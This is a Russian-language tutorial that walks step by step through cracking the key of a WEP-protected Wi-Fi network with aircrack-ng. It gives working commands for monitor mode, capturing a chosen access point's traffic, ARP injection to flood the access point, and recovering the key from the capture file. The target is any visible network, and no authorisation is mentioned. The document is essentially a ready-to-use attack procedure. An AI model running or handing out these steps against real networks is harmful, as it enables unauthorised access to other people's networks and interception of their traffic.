Нахождение ключа сети использующей шифрование WEP с помощью утилиты aircrack-ng

Шаг 1: Подготовка

Для начала необходимо определить имя сетевого интерфейса. Следующая команда выведет список доступных интерфейсов.

```
$ ip link
```

(Здесь и далее $ в начале строки означает выполнение с правами обычного пользователя, а # выполнение с правами суперпользователя)

Далее имя выбранного интерфейса будем обозначать `<IFACE>`. После этого надо создать пустую директорию и перейти в неё. Все следующие команды надо запускать в ней, туда они будут записывать свои результаты.

Шаг 2: Переключение беспроводного адаптера в режим мониторинга

Перед запуском прослушки требуется перевести интерфейс в режим монитора.

```
# airmon-ng start <IFACE>
```

Важно: `airmon-ng` сменит название интерфейса (в новом названии будет слово `mon`). Это имя будем обозначать `<MON-IFACE>`. После завершения взлома можно перевести интерфейс в нормальный режим следующей командой:

```
# airmon-ng stop <MON-IFACE>
```

Шаг 3: Поиск сетей

Теперь можно приступить к перехвату трафика:

```
# airodump-ng <MON-IFACE>
```

Программа выведет информацию обо всех видимых точках доступа. Выберем интересующую и запомним её id `<BSSID>`, и канал `<CH>`.

Шаг 4: Перехват пакетов определённой точки доступа

Следующая команда запускает перехват пакетов и записывает их в файл формата pcap под названием crack. Данная команда перехватывает пакеты для взлома ключа.

```
# airodump-ng --bssid <BSSID> -c <CH> -w crack <MON-IFACE>
```

Запуска перехвата достаточно если в сети есть хотя бы одно активное устройство. Через несколько минут наберётся несколько тысяч пакетов которых хватит для подбора ключа. В противном случае (или если хочется ускорить процесс) необходимо произвести инъекцию ARP трафика.

Шаг 5: Инъекция ARP трафика

Не завершая перехват пакетов (т. е. в новом окне терминала) последовательно запускаем:

```
# aireplay-ng -1 0 -a <BSSID> <MON-IFACE>
# aireplay-ng -3 -b <BSSID> <MON-IFACE>
```

Первая команда инициирует соединение с точкой доступа, вторая наводнит её ARP пакетами. На которые точка будет отвечать выдавая новые вектора инициализации, необходимые для взлома ключа WEP.

Шаг 6: Вывод пароля

Собрав несколько тысяч векторов инициализации в файле crack, мы сможем приступить к их обработке посредством aircrack-ng (Как и в пятом шаге не завершаем уже запущенные процессы):

```
$ aircrack-ng crack-01.cap
```

Если векторов оказалось достаточно, aircrack-ng отобразит на экране ключ. Иначе следует завершить процесс (Ctrl+\), подождать и запустить позже.